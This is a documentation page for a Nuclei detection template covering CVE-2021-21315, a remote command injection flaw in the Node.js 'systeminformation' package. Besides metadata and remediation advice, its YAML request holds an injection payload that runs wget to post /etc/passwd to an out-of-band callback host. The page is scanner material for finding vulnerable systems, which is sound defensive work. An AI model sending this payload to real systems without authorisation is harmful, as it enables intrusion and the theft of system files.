Node.JS System Information Library <5.3.1 - Remote Command Injection
ID: CVE-2021-21315
Severity: high
Author: pikpikcu
Tags: cve,cve2021,nodejs,kev,systeminformation,node.js
Description
Section titled “Description”Node.JS System Information Library System before version 5.3.1 is susceptible to remote command injection. Node.JS (npm package “systeminformation”) is an open source collection of functions to retrieve detailed hardware, system and OS information.
YAML Source
Section titled “YAML Source”id: CVE-2021-21315
info: name: Node.JS System Information Library <5.3.1 - Remote Command Injection author: pikpikcu severity: high description: Node.JS System Information Library System before version 5.3.1 is susceptible to remote command injection. Node.JS (npm package "systeminformation") is an open source collection of functions to retrieve detailed hardware, system and OS information. impact: | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system. remediation: Upgrade to version 5.3.1. As a workaround instead of upgrading, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected reference: - https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC - https://security.netapp.com/advisory/ntap-20210312-0007/ - https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-2m8v-572m-ff2v - https://www.npmjs.com/package/systeminformation - https://nvd.nist.gov/vuln/detail/CVE-2021-21315 classification: cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.8 cve-id: CVE-2021-21315 cwe-id: CWE-78 epss-score: 0.97233 epss-percentile: 0.99827 cpe: cpe:2.3:a:systeminformation:systeminformation:*:*:*:*:*:node.js:*:* metadata: max-request: 1 vendor: systeminformation product: systeminformation framework: node.js tags: cve,cve2021,nodejs,kev,systeminformation,node.js
http: - method: GET path: - "{{BaseURL}}/api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20{{interactsh-url}})"
matchers-condition: and matchers: - type: word part: body words: - "wget --post-file /etc/passwd {{interactsh-url}}" - name - running - pids condition: and
- type: word part: header words: - "application/json"
- type: status status: - 200# digest: 490a00463044022026922dab63432e624958c8cadbac06298f40785cdf5631d4f047d3d2d1479331022001f7fee9e402cc59533bab76bf693023babbec79b8e13d48202556db9f6d106d:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-21315.yaml"